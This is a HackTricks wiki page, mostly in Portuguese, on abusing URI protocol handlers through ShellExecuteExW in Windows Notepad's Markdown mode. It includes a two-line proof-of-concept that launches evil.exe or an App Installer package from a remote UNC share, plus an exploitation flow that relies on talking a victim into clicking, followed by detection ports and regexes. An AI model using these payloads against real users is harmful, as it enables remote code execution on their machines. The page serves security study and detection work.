Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Aplicações modernas do Windows que renderizam Markdown/HTML frequentemente transformam links fornecidos pelo usuário em elementos clicáveis e os passam para ShellExecuteExW. Sem uma lista de esquemas permitidos (allowlisting) estrita, qualquer protocol handler registrado (por exemplo, file:, ms-appinstaller:) pode ser acionado, levando à execução de código no contexto do usuário atual.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad escolhe o modo Markdown somente para extensões
.mdvia uma comparação de string fixa emsub_1400ED5D0(). - Links Markdown suportados:
- Padrão:
[text](target) - Autolink:
<target>(renderizado como[target](target)), então ambas as sintaxes importam para payloads e detecções. - Clique em links é processado em
sub_140170F60(), que realiza um filtro fraco e então chamaShellExecuteExW. ShellExecuteExWdespacha para any configured protocol handler, não apenas HTTP(S).
Payload considerations
- Qualquer sequência
\\no link é normalizada para\antes deShellExecuteExW, impactando a construção de caminhos/UNC e a detecção. - Arquivos
.mdnão estão associados ao Notepad por padrão; a vítima ainda precisa abrir o arquivo no Notepad e clicar no link, mas uma vez renderizado, o link fica clicável. - Exemplos de esquemas perigosos:
file://para lançar um payload local/UNC.ms-appinstaller://para acionar fluxos do App Installer. Outros esquemas registrados localmente também podem ser abusados.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Fluxo de exploração
- Crie um
.mdfile para que o Notepad o renderize como Markdown. - Incorpore um link usando um esquema URI perigoso (
file:,ms-appinstaller:, ou qualquer handler instalado). - Entregue o arquivo (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB ou similar) e convença o usuário a abri-lo no Notepad.
- Ao clicar, o link normalizado é passado para
ShellExecuteExWe o handler de protocolo correspondente executa o conteúdo referenciado no contexto do usuário.
Ideias de detecção
- Monitore transferências de arquivos
.mdatravés de portas/protocolos que comumente entregam documentos:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Analise links Markdown (padrão e autolink) e procure por insensível a maiúsculas/minúsculas
file:oums-appinstaller:. - Expressões regulares recomendadas pelo fornecedor para detectar acesso a recursos remotos:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- O comportamento do patch supostamente lista de permissões para arquivos locais e HTTP(S); qualquer outra coisa que alcance
ShellExecuteExWé suspeita. Estenda as detecções para outros manipuladores de protocolo instalados conforme necessário, já que a superfície de ataque varia por sistema.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


